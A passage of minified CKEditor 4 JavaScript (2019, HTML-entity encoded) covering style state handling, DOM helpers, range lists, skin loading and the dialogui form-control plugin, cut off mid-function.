CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{attachStyleStateChange:function(a,d){var b=this._.styleStateChangeCallbacks;b||(b=this._.styleStateChangeCallbacks=[],this.on(&quot;selectionChange&quot;,function(a){for(var d=0;d&lt;b.length;d++){var g=b[d],k=g.style.checkActive(a.data.path,this)?CKEDITOR.TRISTATE_ON:CKEDITOR.TRISTATE_OFF;g.fn.call(this,k)}}));b.push({style:a,fn:d})},applyStyle:function(a){a.apply(this)},removeStyle:function(a){a.remove(this)},getStylesSet:function(a){if(this._.stylesDefinitions)a(this._.stylesDefinitions);
else{var d=this,b=d.config.stylesCombo_stylesSet||d.config.stylesSet;if(!1===b)a(null);else if(b instanceof Array)d._.stylesDefinitions=b,a(b);else{b||(b=&quot;default&quot;);var b=b.split(&quot;:&quot;),c=b[0];CKEDITOR.stylesSet.addExternal(c,b[1]?b.slice(1).join(&quot;:&quot;):CKEDITOR.getUrl(&quot;styles.js&quot;),&quot;&quot;);CKEDITOR.stylesSet.load(c,function(b){d._.stylesDefinitions=b[c];a(d._.stylesDefinitions)})}}}});
CKEDITOR.dom.comment=function(a,d){&quot;string&quot;==typeof a&amp;&amp;(a=(d?d.$:document).createComment(a));CKEDITOR.dom.domObject.call(this,a)};CKEDITOR.dom.comment.prototype=new CKEDITOR.dom.node;CKEDITOR.tools.extend(CKEDITOR.dom.comment.prototype,{type:CKEDITOR.NODE_COMMENT,getOuterHtml:function(){return&quot;\x3c!--&quot;+this.$.nodeValue+&quot;--\x3e&quot;}});&quot;use strict&quot;;
(function(){var a={},d={},b;for(b in CKEDITOR.dtd.$blockLimit)b in CKEDITOR.dtd.$list||(a[b]=1);for(b in CKEDITOR.dtd.$block)b in CKEDITOR.dtd.$blockLimit||b in CKEDITOR.dtd.$empty||(d[b]=1);CKEDITOR.dom.elementPath=function(b,f){var g=null,k=null,h=[],p=b,q;f=f||b.getDocument().getBody();p||(p=f);do if(p.type==CKEDITOR.NODE_ELEMENT){h.push(p);if(!this.lastElement&amp;&amp;(this.lastElement=p,p.is(CKEDITOR.dtd.$object)||&quot;false&quot;==p.getAttribute(&quot;contenteditable&quot;)))continue;if(p.equals(f))break;if(!k&amp;&amp;(q=p.getName(),
&quot;true&quot;==p.getAttribute(&quot;contenteditable&quot;)?k=p:!g&amp;&amp;d[q]&amp;&amp;(g=p),a[q])){if(q=!g&amp;&amp;&quot;div&quot;==q){a:{q=p.getChildren();for(var e=0,x=q.count();e&lt;x;e++){var w=q.getItem(e);if(w.type==CKEDITOR.NODE_ELEMENT&amp;&amp;CKEDITOR.dtd.$block[w.getName()]){q=!0;break a}}q=!1}q=!q}q?g=p:k=p}}while(p=p.getParent());k||(k=f);this.block=g;this.blockLimit=k;this.root=f;this.elements=h}})();
CKEDITOR.dom.elementPath.prototype={compare:function(a){var d=this.elements;a=a&amp;&amp;a.elements;if(!a||d.length!=a.length)return!1;for(var b=0;b&lt;d.length;b++)if(!d[b].equals(a[b]))return!1;return!0},contains:function(a,d,b){var c=0,f;&quot;string&quot;==typeof a&amp;&amp;(f=function(b){return b.getName()==a});a instanceof CKEDITOR.dom.element?f=function(b){return b.equals(a)}:CKEDITOR.tools.isArray(a)?f=function(b){return-1&lt;CKEDITOR.tools.indexOf(a,b.getName())}:&quot;function&quot;==typeof a?f=a:&quot;object&quot;==typeof a&amp;&amp;(f=function(b){return b.getName()in
a});var g=this.elements,k=g.length;d&amp;&amp;(b?c+=1:--k);b&amp;&amp;(g=Array.prototype.slice.call(g,0),g.reverse());for(;c&lt;k;c++)if(f(g[c]))return g[c];return null},isContextFor:function(a){var d;return a in CKEDITOR.dtd.$block?(d=this.contains(CKEDITOR.dtd.$intermediate)||this.root.equals(this.block)&amp;&amp;this.block||this.blockLimit,!!d.getDtd()[a]):!0},direction:function(){return(this.block||this.blockLimit||this.root).getDirection(1)}};
CKEDITOR.dom.text=function(a,d){&quot;string&quot;==typeof a&amp;&amp;(a=(d?d.$:document).createTextNode(a));this.$=a};CKEDITOR.dom.text.prototype=new CKEDITOR.dom.node;
CKEDITOR.tools.extend(CKEDITOR.dom.text.prototype,{type:CKEDITOR.NODE_TEXT,getLength:function(){return this.$.nodeValue.length},getText:function(){return this.$.nodeValue},setText:function(a){this.$.nodeValue=a},split:function(a){var d=this.$.parentNode,b=d.childNodes.length,c=this.getLength(),f=this.getDocument(),g=new CKEDITOR.dom.text(this.$.splitText(a),f);d.childNodes.length==b&amp;&amp;(a&gt;=c?(g=f.createText(&quot;&quot;),g.insertAfter(this)):(a=f.createText(&quot;&quot;),a.insertAfter(g),a.remove()));return g},substring:function(a,
d){return&quot;number&quot;!=typeof d?this.$.nodeValue.substr(a):this.$.nodeValue.substring(a,d)}});
(function(){function a(a,c,d){var g=a.serializable,k=c[d?&quot;endContainer&quot;:&quot;startContainer&quot;],h=d?&quot;endOffset&quot;:&quot;startOffset&quot;,p=g?c.document.getById(a.startNode):a.startNode;a=g?c.document.getById(a.endNode):a.endNode;k.equals(p.getPrevious())?(c.startOffset=c.startOffset-k.getLength()-a.getPrevious().getLength(),k=a.getNext()):k.equals(a.getPrevious())&amp;&amp;(c.startOffset-=k.getLength(),k=a.getNext());k.equals(p.getParent())&amp;&amp;c[h]++;k.equals(a.getParent())&amp;&amp;c[h]++;c[d?&quot;endContainer&quot;:&quot;startContainer&quot;]=k;return c}
CKEDITOR.dom.rangeList=function(a){if(a instanceof CKEDITOR.dom.rangeList)return a;a?a instanceof CKEDITOR.dom.range&amp;&amp;(a=[a]):a=[];return CKEDITOR.tools.extend(a,d)};var d={createIterator:function(){var a=this,c=CKEDITOR.dom.walker.bookmark(),d=[],g;return{getNextRange:function(k){g=void 0===g?0:g+1;var h=a[g];if(h&amp;&amp;1&lt;a.length){if(!g)for(var p=a.length-1;0&lt;=p;p--)d.unshift(a[p].createBookmark(!0));if(k)for(var q=0;a[g+q+1];){var e=h.document;k=0;p=e.getById(d[q].endNode);for(e=e.getById(d[q+1].startNode);;){p=
p.getNextSourceNode(!1);if(e.equals(p))k=1;else if(c(p)||p.type==CKEDITOR.NODE_ELEMENT&amp;&amp;p.isBlockBoundary())continue;break}if(!k)break;q++}for(h.moveToBookmark(d.shift());q--;)p=a[++g],p.moveToBookmark(d.shift()),h.setEnd(p.endContainer,p.endOffset)}return h}}},createBookmarks:function(b){for(var c=[],d,g=0;g&lt;this.length;g++){c.push(d=this[g].createBookmark(b,!0));for(var k=g+1;k&lt;this.length;k++)this[k]=a(d,this[k]),this[k]=a(d,this[k],!0)}return c},createBookmarks2:function(a){for(var c=[],d=0;d&lt;
this.length;d++)c.push(this[d].createBookmark2(a));return c},moveToBookmarks:function(a){for(var c=0;c&lt;this.length;c++)this[c].moveToBookmark(a[c])}}})();
(function(){function a(){return CKEDITOR.getUrl(CKEDITOR.skinName.split(&quot;,&quot;)[1]||&quot;skins/&quot;+CKEDITOR.skinName.split(&quot;,&quot;)[0]+&quot;/&quot;)}function d(b){var c=CKEDITOR.skin[&quot;ua_&quot;+b],d=CKEDITOR.env;if(c)for(var c=c.split(&quot;,&quot;).sort(function(a,b){return a&gt;b?-1:1}),f=0,g;f&lt;c.length;f++)if(g=c[f],d.ie&amp;&amp;(g.replace(/^ie/,&quot;&quot;)==d.version||d.quirks&amp;&amp;&quot;iequirks&quot;==g)&amp;&amp;(g=&quot;ie&quot;),d[g]){b+=&quot;_&quot;+c[f];break}return CKEDITOR.getUrl(a()+b+&quot;.css&quot;)}function b(a,b){g[a]||(CKEDITOR.document.appendStyleSheet(d(a)),g[a]=1);b&amp;&amp;b()}function c(a){var b=
a.getById(k);b||(b=a.getHead().append(&quot;style&quot;),b.setAttribute(&quot;id&quot;,k),b.setAttribute(&quot;type&quot;,&quot;text/css&quot;));return b}function f(a,b,c){var d,f,g;if(CKEDITOR.env.webkit)for(b=b.split(&quot;}&quot;).slice(0,-1),f=0;f&lt;b.length;f++)b[f]=b[f].split(&quot;{&quot;);for(var h=0;h&lt;a.length;h++)if(CKEDITOR.env.webkit)for(f=0;f&lt;b.length;f++){g=b[f][1];for(d=0;d&lt;c.length;d++)g=g.replace(c[d][0],c[d][1]);a[h].$.sheet.addRule(b[f][0],g)}else{g=b;for(d=0;d&lt;c.length;d++)g=g.replace(c[d][0],c[d][1]);CKEDITOR.env.ie&amp;&amp;11&gt;CKEDITOR.env.version?
a[h].$.styleSheet.cssText+=g:a[h].$.innerHTML+=g}}var g={};CKEDITOR.skin={path:a,loadPart:function(c,d){CKEDITOR.skin.name!=CKEDITOR.skinName.split(&quot;,&quot;)[0]?CKEDITOR.scriptLoader.load(CKEDITOR.getUrl(a()+&quot;skin.js&quot;),function(){b(c,d)}):b(c,d)},getPath:function(a){return CKEDITOR.getUrl(d(a))},icons:{},addIcon:function(a,b,c,d){a=a.toLowerCase();this.icons[a]||(this.icons[a]={path:b,offset:c||0,bgsize:d||&quot;16px&quot;})},getIconStyle:function(a,b,c,d,f){var g;a&amp;&amp;(a=a.toLowerCase(),b&amp;&amp;(g=this.icons[a+&quot;-rtl&quot;]),
g||(g=this.icons[a]));a=c||g&amp;&amp;g.path||&quot;&quot;;d=d||g&amp;&amp;g.offset;f=f||g&amp;&amp;g.bgsize||&quot;16px&quot;;a&amp;&amp;(a=a.replace(/&#039;/g,&quot;\\&#039;&quot;));return a&amp;&amp;&quot;background-image:url(&#039;&quot;+CKEDITOR.getUrl(a)+&quot;&#039;);background-position:0 &quot;+d+&quot;px;background-size:&quot;+f+&quot;;&quot;}};CKEDITOR.tools.extend(CKEDITOR.editor.prototype,{getUiColor:function(){return this.uiColor},setUiColor:function(a){var b=c(CKEDITOR.document);return(this.setUiColor=function(a){this.uiColor=a;var c=CKEDITOR.skin.chameleon,d=&quot;&quot;,g=&quot;&quot;;&quot;function&quot;==typeof c&amp;&amp;(d=c(this,&quot;editor&quot;),g=
c(this,&quot;panel&quot;));a=[[p,a]];f([b],d,a);f(h,g,a)}).call(this,a)}});var k=&quot;cke_ui_color&quot;,h=[],p=/\$color/g;CKEDITOR.on(&quot;instanceLoaded&quot;,function(a){if(!CKEDITOR.env.ie||!CKEDITOR.env.quirks){var b=a.editor;a=function(a){a=(a.data[0]||a.data).element.getElementsByTag(&quot;iframe&quot;).getItem(0).getFrameDocument();if(!a.getById(&quot;cke_ui_color&quot;)){a=c(a);h.push(a);var d=b.getUiColor();d&amp;&amp;f([a],CKEDITOR.skin.chameleon(b,&quot;panel&quot;),[[p,d]])}};b.on(&quot;panelShow&quot;,a);b.on(&quot;menuShow&quot;,a);b.config.uiColor&amp;&amp;b.setUiColor(b.config.uiColor)}})})();
(function(){if(CKEDITOR.env.webkit)CKEDITOR.env.hc=!1;else{var a=CKEDITOR.dom.element.createFromHtml(&#039;\x3cdiv style\x3d&quot;width:0;height:0;position:absolute;left:-10000px;border:1px solid;border-color:red blue&quot;\x3e\x3c/div\x3e&#039;,CKEDITOR.document);a.appendTo(CKEDITOR.document.getHead());try{var d=a.getComputedStyle(&quot;border-top-color&quot;),b=a.getComputedStyle(&quot;border-right-color&quot;);CKEDITOR.env.hc=!(!d||d!=b)}catch(c){CKEDITOR.env.hc=!1}a.remove()}CKEDITOR.env.hc&amp;&amp;(CKEDITOR.env.cssClass+=&quot; cke_hc&quot;);CKEDITOR.document.appendStyleText(&quot;.cke{visibility:hidden;}&quot;);
CKEDITOR.status=&quot;loaded&quot;;CKEDITOR.fireOnce(&quot;loaded&quot;);if(a=CKEDITOR._.pending)for(delete CKEDITOR._.pending,d=0;d&lt;a.length;d++)CKEDITOR.editor.prototype.constructor.apply(a[d][0],a[d][1]),CKEDITOR.add(a[d][0])})();/*
 Copyright (c) 2003-2019, CKSource - Frederico Knabben. All rights reserved.
 For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
CKEDITOR.skin.name=&quot;moono-lisa&quot;;CKEDITOR.skin.ua_editor=&quot;ie,iequirks,ie8,gecko&quot;;CKEDITOR.skin.ua_dialog=&quot;ie,iequirks,ie8&quot;;
CKEDITOR.skin.chameleon=function(){var b=function(){return function(b,d){for(var a=b.match(/[^#]./g),e=0;3&gt;e;e++){var f=e,c;c=parseInt(a[e],16);c=(&quot;0&quot;+(0&gt;d?0|c*(1+d):0|c+(255-c)*d).toString(16)).slice(-2);a[f]=c}return&quot;#&quot;+a.join(&quot;&quot;)}}(),f={editor:new CKEDITOR.template(&quot;{id}.cke_chrome [border-color:{defaultBorder};] {id} .cke_top [ background-color:{defaultBackground};border-bottom-color:{defaultBorder};] {id} .cke_bottom [background-color:{defaultBackground};border-top-color:{defaultBorder};] {id} .cke_resizer [border-right-color:{ckeResizer}] {id} .cke_dialog_title [background-color:{defaultBackground};border-bottom-color:{defaultBorder};] {id} .cke_dialog_footer [background-color:{defaultBackground};outline-color:{defaultBorder};] {id} .cke_dialog_tab [background-color:{dialogTab};border-color:{defaultBorder};] {id} .cke_dialog_tab:hover [background-color:{lightBackground};] {id} .cke_dialog_contents [border-top-color:{defaultBorder};] {id} .cke_dialog_tab_selected, {id} .cke_dialog_tab_selected:hover [background:{dialogTabSelected};border-bottom-color:{dialogTabSelectedBorder};] {id} .cke_dialog_body [background:{dialogBody};border-color:{defaultBorder};] {id} a.cke_button_off:hover,{id} a.cke_button_off:focus,{id} a.cke_button_off:active [background-color:{darkBackground};border-color:{toolbarElementsBorder};] {id} .cke_button_on [background-color:{ckeButtonOn};border-color:{toolbarElementsBorder};] {id} .cke_toolbar_separator,{id} .cke_toolgroup a.cke_button:last-child:after,{id} .cke_toolgroup a.cke_button.cke_button_disabled:hover:last-child:after [background-color: {toolbarElementsBorder};border-color: {toolbarElementsBorder};] {id} a.cke_combo_button:hover,{id} a.cke_combo_button:focus,{id} .cke_combo_on a.cke_combo_button [border-color:{toolbarElementsBorder};background-color:{darkBackground};] {id} .cke_combo:after [border-color:{toolbarElementsBorder};] {id} .cke_path_item [color:{elementsPathColor};] {id} a.cke_path_item:hover,{id} a.cke_path_item:focus,{id} a.cke_path_item:active [background-color:{darkBackground};] {id}.cke_panel [border-color:{defaultBorder};] &quot;),panel:new CKEDITOR.template(&quot;.cke_panel_grouptitle [background-color:{lightBackground};border-color:{defaultBorder};] .cke_menubutton_icon [background-color:{menubuttonIcon};] .cke_menubutton:hover,.cke_menubutton:focus,.cke_menubutton:active [background-color:{menubuttonHover};] .cke_menubutton:hover .cke_menubutton_icon, .cke_menubutton:focus .cke_menubutton_icon, .cke_menubutton:active .cke_menubutton_icon [background-color:{menubuttonIconHover};] .cke_menubutton_disabled:hover .cke_menubutton_icon,.cke_menubutton_disabled:focus .cke_menubutton_icon,.cke_menubutton_disabled:active .cke_menubutton_icon [background-color:{menubuttonIcon};] .cke_menuseparator [background-color:{menubuttonIcon};] a:hover.cke_colorbox, a:active.cke_colorbox [border-color:{defaultBorder};] a:hover.cke_colorauto, a:hover.cke_colormore, a:active.cke_colorauto, a:active.cke_colormore [background-color:{ckeColorauto};border-color:{defaultBorder};] &quot;)};
return function(g,d){var a=b(g.uiColor,.4),a={id:&quot;.&quot;+g.id,defaultBorder:b(a,-.2),toolbarElementsBorder:b(a,-.25),defaultBackground:a,lightBackground:b(a,.8),darkBackground:b(a,-.15),ckeButtonOn:b(a,.4),ckeResizer:b(a,-.4),ckeColorauto:b(a,.8),dialogBody:b(a,.7),dialogTab:b(a,.65),dialogTabSelected:&quot;#FFF&quot;,dialogTabSelectedBorder:&quot;#FFF&quot;,elementsPathColor:b(a,-.6),menubuttonHover:b(a,.1),menubuttonIcon:b(a,.5),menubuttonIconHover:b(a,.3)};return f[d].output(a).replace(/\[/g,&quot;{&quot;).replace(/\]/g,&quot;}&quot;)}}();CKEDITOR.plugins.add(&quot;dialogui&quot;,{onLoad:function(){var h=function(b){this._||(this._={});this._[&quot;default&quot;]=this._.initValue=b[&quot;default&quot;]||&quot;&quot;;this._.required=b.required||!1;for(var a=[this._],d=1;d&lt;arguments.length;d++)a.push(arguments[d]);a.push(!0);CKEDITOR.tools.extend.apply(CKEDITOR.tools,a);return this._},r={build:function(b,a,d){return new CKEDITOR.ui.dialog.textInput(b,a,d)}},n={build:function(b,a,d){return new CKEDITOR.ui.dialog[a.type](b,a,d)}},q={isChanged:function(){return this.getValue()!=
this.getInitValue()},reset:function(b){this.setValue(this.getInitValue(),b)},setInitValue:function(){this._.initValue=this.getValue()},resetInitValue:function(){this._.initValue=this._[&quot;default&quot;]},getInitValue:function(){return this._.initValue}},v=CKEDITOR.tools.extend({},CKEDITOR.ui.dialog.uiElement.prototype.eventProcessors,{onChange:function(b,a){this._.domOnChangeRegistered||(b.on(&quot;load&quot;,function(){this.getInputElement().on(&quot;change&quot;,function(){b.parts.dialog.isVisible()&amp;&amp;this.fire(&quot;change&quot;,{value:this.getValue()})},
this)},this),this._.domOnChangeRegistered=!0);this.on(&quot;change&quot;,a)}},!0),x=/^on([A-Z]\w+)/,t=function(b){for(var a in b)(x.test(a)||&quot;title&quot;==a||&quot;type&quot;==a)&amp;&amp;delete b[a];return b},w=function(b){b=b.data.getKeystroke();b==CKEDITOR.SHIFT+CKEDITOR.ALT+36?this.setDirectionMarker(&quot;ltr&quot;):b==CKEDITOR.SHIFT+CKEDITOR.ALT+35&amp;&amp;this.setDirectionMarker(&quot;rtl&quot;)};CKEDITOR.tools.extend(CKEDITOR.ui.dialog,{labeledElement:function(b,a,d,f){if(!(4&gt;arguments.length)){var c=h.call(this,a);c.labelId=CKEDITOR.tools.getNextId()+
&quot;_label&quot;;this._.children=[];var e={role:a.role||&quot;presentation&quot;};a.includeLabel&amp;&amp;(e[&quot;aria-labelledby&quot;]=c.labelId);CKEDITOR.ui.dialog.uiElement.call(this,b,a,d,&quot;div&quot;,null,e,function(){var e=[],g=a.required?&quot; cke_required&quot;:&quot;&quot;;&quot;horizontal&quot;!=a.labelLayout?e.push(&#039;\x3clabel class\x3d&quot;cke_dialog_ui_labeled_label&#039;+g+&#039;&quot; &#039;,&#039; id\x3d&quot;&#039;+c.labelId+&#039;&quot;&#039;,c.inputId?&#039; for\x3d&quot;&#039;+c.inputId+&#039;&quot;&#039;:&quot;&quot;,(a.labelStyle?&#039; style\x3d&quot;&#039;+a.labelStyle+&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;,a.label,&quot;\x3c/label\x3e&quot;,&#039;\x3cdiv class\x3d&quot;cke_dialog_ui_labeled_content&quot;&#039;,
a.controlStyle?&#039; style\x3d&quot;&#039;+a.controlStyle+&#039;&quot;&#039;:&quot;&quot;,&#039; role\x3d&quot;presentation&quot;\x3e&#039;,f.call(this,b,a),&quot;\x3c/div\x3e&quot;):(g={type:&quot;hbox&quot;,widths:a.widths,padding:0,children:[{type:&quot;html&quot;,html:&#039;\x3clabel class\x3d&quot;cke_dialog_ui_labeled_label&#039;+g+&#039;&quot; id\x3d&quot;&#039;+c.labelId+&#039;&quot; for\x3d&quot;&#039;+c.inputId+&#039;&quot;&#039;+(a.labelStyle?&#039; style\x3d&quot;&#039;+a.labelStyle+&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;+CKEDITOR.tools.htmlEncode(a.label)+&quot;\x3c/label\x3e&quot;},{type:&quot;html&quot;,html:&#039;\x3cspan class\x3d&quot;cke_dialog_ui_labeled_content&quot;&#039;+(a.controlStyle?&#039; style\x3d&quot;&#039;+a.controlStyle+
&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;+f.call(this,b,a)+&quot;\x3c/span\x3e&quot;}]},CKEDITOR.dialog._.uiElementBuilders.hbox.build(b,g,e));return e.join(&quot;&quot;)})}},textInput:function(b,a,d){if(!(3&gt;arguments.length)){h.call(this,a);var f=this._.inputId=CKEDITOR.tools.getNextId()+&quot;_textInput&quot;,c={&quot;class&quot;:&quot;cke_dialog_ui_input_&quot;+a.type,id:f,type:a.type};a.validate&amp;&amp;(this.validate=a.validate);a.maxLength&amp;&amp;(c.maxlength=a.maxLength);a.size&amp;&amp;(c.size=a.size);a.inputStyle&amp;&amp;(c.style=a.inputStyle);var e=this,m=!1;b.on(&quot;load&quot;,function(){e.getInputElement().on(&quot;keydown&quot;,
function(a){13==a.data.getKeystroke()&amp;&amp;(m=!0)});e.getInputElement().on(&quot;keyup&quot;,function(a){13==a.data.getKeystroke()&amp;&amp;m&amp;&amp;(b.getButton(&quot;ok&quot;)&amp;&amp;setTimeout(function(){b.getButton(&quot;ok&quot;).click()},0),m=!1);e.bidi&amp;&amp;w.call(e,a)},null,null,1E3)});CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){var b=[&#039;\x3cdiv class\x3d&quot;cke_dialog_ui_input_&#039;,a.type,&#039;&quot; role\x3d&quot;presentation&quot;&#039;];a.width&amp;&amp;b.push(&#039;style\x3d&quot;width:&#039;+a.width+&#039;&quot; &#039;);b.push(&quot;\x3e\x3cinput &quot;);c[&quot;aria-labelledby&quot;]=this._.labelId;this._.required&amp;&amp;
(c[&quot;aria-required&quot;]=this._.required);for(var e in c)b.push(e+&#039;\x3d&quot;&#039;+c[e]+&#039;&quot; &#039;);b.push(&quot; /\x3e\x3c/div\x3e&quot;);return b.join(&quot;&quot;)})}},textarea:function(b,a,d){if(!(3&gt;arguments.length)){h.call(this,a);var f=this,c=this._.inputId=CKEDITOR.tools.getNextId()+&quot;_textarea&quot;,e={};a.validate&amp;&amp;(this.validate=a.validate);e.rows=a.rows||5;e.cols=a.cols||20;e[&quot;class&quot;]=&quot;cke_dialog_ui_input_textarea &quot;+(a[&quot;class&quot;]||&quot;&quot;);&quot;undefined&quot;!=typeof a.inputStyle&amp;&amp;(e.style=a.inputStyle);a.dir&amp;&amp;(e.dir=a.dir);if(f.bidi)b.on(&quot;load&quot;,
function(){f.getInputElement().on(&quot;keyup&quot;,w)},f);CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){e[&quot;aria-labelledby&quot;]=this._.labelId;this._.required&amp;&amp;(e[&quot;aria-required&quot;]=this._.required);var a=[&#039;\x3cdiv class\x3d&quot;cke_dialog_ui_input_textarea&quot; role\x3d&quot;presentation&quot;\x3e\x3ctextarea id\x3d&quot;&#039;,c,&#039;&quot; &#039;],b;for(b in e)a.push(b+&#039;\x3d&quot;&#039;+CKEDITOR.tools.htmlEncode(e[b])+&#039;&quot; &#039;);a.push(&quot;\x3e&quot;,CKEDITOR.tools.htmlEncode(f._[&quot;default&quot;]),&quot;\x3c/textarea\x3e\x3c/div\x3e&quot;);return a.join(&quot;&quot;)})}},checkbox:function(b,
a,d){if(!(3&gt;arguments.length)){var f=h.call(this,a,{&quot;default&quot;:!!a[&quot;default&quot;]});a.validate&amp;&amp;(this.validate=a.validate);CKEDITOR.ui.dialog.uiElement.call(this,b,a,d,&quot;span&quot;,null,null,function(){var c=CKEDITOR.tools.extend({},a,{id:a.id?a.id+&quot;_checkbox&quot;:CKEDITOR.tools.getNextId()+&quot;_checkbox&quot;},!0),e=[],d=CKEDITOR.tools.getNextId()+&quot;_label&quot;,g={&quot;class&quot;:&quot;cke_dialog_ui_checkbox_input&quot;,type:&quot;checkbox&quot;,&quot;aria-labelledby&quot;:d};t(c);a[&quot;default&quot;]&amp;&amp;(g.checked=&quot;checked&quot;);&quot;undefined&quot;!=typeof c.inputStyle&amp;&amp;(c.style=c.inputStyle);
f.checkbox=new CKEDITOR.ui.dialog.uiElement(b,c,e,&quot;input&quot;,null,g);e.push(&#039; \x3clabel id\x3d&quot;&#039;,d,&#039;&quot; for\x3d&quot;&#039;,g.id,&#039;&quot;&#039;+(a.labelStyle?&#039; style\x3d&quot;&#039;+a.labelStyle+&#039;&quot;&#039;:&quot;&quot;)+&quot;\x3e&quot;,CKEDITOR.tools.htmlEncode(a.label),&quot;\x3c/label\x3e&quot;);return e.join(&quot;&quot;)})}},radio:function(b,a,d){if(!(3&gt;arguments.length)){h.call(this,a);this._[&quot;default&quot;]||(this._[&quot;default&quot;]=this._.initValue=a.items[0][1]);a.validate&amp;&amp;(this.validate=a.validate);var f=[],c=this;a.role=&quot;radiogroup&quot;;a.includeLabel=!0;CKEDITOR.ui.dialog.labeledElement.call(this,
b,a,d,function(){for(var e=[],d=[],g=(a.id?a.id:CKEDITOR.tools.getNextId())+&quot;_radio&quot;,k=0;k&lt;a.items.length;k++){var l=a.items[k],h=void 0!==l[2]?l[2]:l[0],n=void 0!==l[1]?l[1]:l[0],p=CKEDITOR.tools.getNextId()+&quot;_radio_input&quot;,q=p+&quot;_label&quot;,p=CKEDITOR.tools.extend({},a,{id:p,title:null,type:null},!0),h=CKEDITOR.tools.extend({},p,{title:h},!0),r={type:&quot;radio&quot;,&quot;class&quot;:&quot;cke_dialog_ui_radio_input&quot;,name:g,value:n,&quot;aria-labelledby&quot;:q},u=[];c._[&quot;default&quot;]==n&amp;&amp;(r.checked=&quot;checked&quot;);t(p);t(h);&quot;undefined&quot;!=typeof p.inputStyle&amp;&amp;
(p.style=p.inputStyle);p.keyboardFocusable=!0;f.push(new CKEDITOR.ui.dialog.uiElement(b,p,u,&quot;input&quot;,null,r));u.push(&quot; &quot;);new CKEDITOR.ui.dialog.uiElement(b,h,u,&quot;label&quot;,null,{id:q,&quot;for&quot;:r.id},l[0]);e.push(u.join(&quot;&quot;))}new CKEDITOR.ui.dialog.hbox(b,f,e,d);return d.join(&quot;&quot;)});this._.children=f}},button:function(b,a,d){if(arguments.length){&quot;function&quot;==typeof a&amp;&amp;(a=a(b.getParentEditor()));h.call(this,a,{disabled:a.disabled||!1});CKEDITOR.event.implementOn(this);var f=this;b.on(&quot;load&quot;,function(){var a=this.getElement();
(function(){a.on(&quot;click&quot;,function(a){f.click();a.data.preventDefault()});a.on(&quot;keydown&quot;,function(a){a.data.getKeystroke()in{32:1}&amp;&amp;(f.click(),a.data.preventDefault())})})();a.unselectable()},this);var c=CKEDITOR.tools.extend({},a);delete c.style;var e=CKEDITOR.tools.getNextId()+&quot;_label&quot;;CKEDITOR.ui.dialog.uiElement.call(this,b,c,d,&quot;a&quot;,null,{style:a.style,href:&quot;javascript:void(0)&quot;,title:a.label,hidefocus:&quot;true&quot;,&quot;class&quot;:a[&quot;class&quot;],role:&quot;button&quot;,&quot;aria-labelledby&quot;:e},&#039;\x3cspan id\x3d&quot;&#039;+e+&#039;&quot; class\x3d&quot;cke_dialog_ui_button&quot;\x3e&#039;+
CKEDITOR.tools.htmlEncode(a.label)+&quot;\x3c/span\x3e&quot;)}},select:function(b,a,d){if(!(3&gt;arguments.length)){var f=h.call(this,a);a.validate&amp;&amp;(this.validate=a.validate);f.inputId=CKEDITOR.tools.getNextId()+&quot;_select&quot;;CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){var c=CKEDITOR.tools.extend({},a,{id:a.id?a.id+&quot;_select&quot;:CKEDITOR.tools.getNextId()+&quot;_select&quot;},!0),e=[],d=[],g={id:f.inputId,&quot;class&quot;:&quot;cke_dialog_ui_input_select&quot;,&quot;aria-labelledby&quot;:this._.labelId};e.push(&#039;\x3cdiv class\x3d&quot;cke_dialog_ui_input_&#039;,
a.type,&#039;&quot; role\x3d&quot;presentation&quot;&#039;);a.width&amp;&amp;e.push(&#039;style\x3d&quot;width:&#039;+a.width+&#039;&quot; &#039;);e.push(&quot;\x3e&quot;);void 0!==a.size&amp;&amp;(g.size=a.size);void 0!==a.multiple&amp;&amp;(g.multiple=a.multiple);t(c);for(var k=0,l;k&lt;a.items.length&amp;&amp;(l=a.items[k]);k++)d.push(&#039;\x3coption value\x3d&quot;&#039;,CKEDITOR.tools.htmlEncode(void 0!==l[1]?l[1]:l[0]).replace(/&quot;/g,&quot;\x26quot;&quot;),&#039;&quot; /\x3e &#039;,CKEDITOR.tools.htmlEncode(l[0]));&quot;undefined&quot;!=typeof c.inputStyle&amp;&amp;(c.style=c.inputStyle);f.select=new CKEDITOR.ui.dialog.uiElement(b,c,e,&quot;select&quot;,null,
g,d.join(&quot;&quot;));e.push(&quot;\x3c/div\x3e&quot;);return e.join(&quot;&quot;)})}},file:function(b,a,d){if(!(3&gt;arguments.length)){void 0===a[&quot;default&quot;]&amp;&amp;(a[&quot;default&quot;]=&quot;&quot;);var f=CKEDITOR.tools.extend(h.call(this,a),{definition:a,buttons:[]});a.validate&amp;&amp;(this.validate=a.validate);b.on(&quot;load&quot;,function(){CKEDITOR.document.getById(f.frameId).getParent().addClass(&quot;cke_dialog_ui_input_file&quot;)});CKEDITOR.ui.dialog.labeledElement.call(this,b,a,d,function(){f.frameId=CKEDITOR.tools.getNextId()+&quot;_fileInput&quot;;var b=[&#039;\x3ciframe frameborder\x3d&quot;0&quot; allowtransparency\x3d&quot;0&quot; class\x3d&quot;cke_dialog_ui_input_file&quot; role\x3d&quot;presentation&quot; id\x3d&quot;&#039;,
f.frameId,&#039;&quot; title\x3d&quot;&#039;,a.label,&#039;&quot; src\x3d&quot;javascript:void(&#039;];b.push(CKEDITOR.env.ie?&quot;(function(){&quot;+encodeURIComponent(&quot;document.open();(&quot;+CKEDITOR.tools.fixDomain+&quot;)();document.close();&quot;)+&quot;})()&quot;:&quot;0&quot;);b.push(&#039;)&quot;\x3e\x3c/iframe\x3e&#039;);return b.join(&quot;&quot;)})}},fileButton:function(b,a,d){var f=this;if(!(3&gt;arguments.length)){h.call(this,a);a.validate&amp;&amp;(this.validate=a.validate);var c=CKEDITOR.tools.extend({},a),e=c.onClick;c.className=(c.className?c.className+&quot; &quot;:&quot;&quot;)+&quot;cke_dialog_ui_button&quot;;c.onClick=function(c){var d=
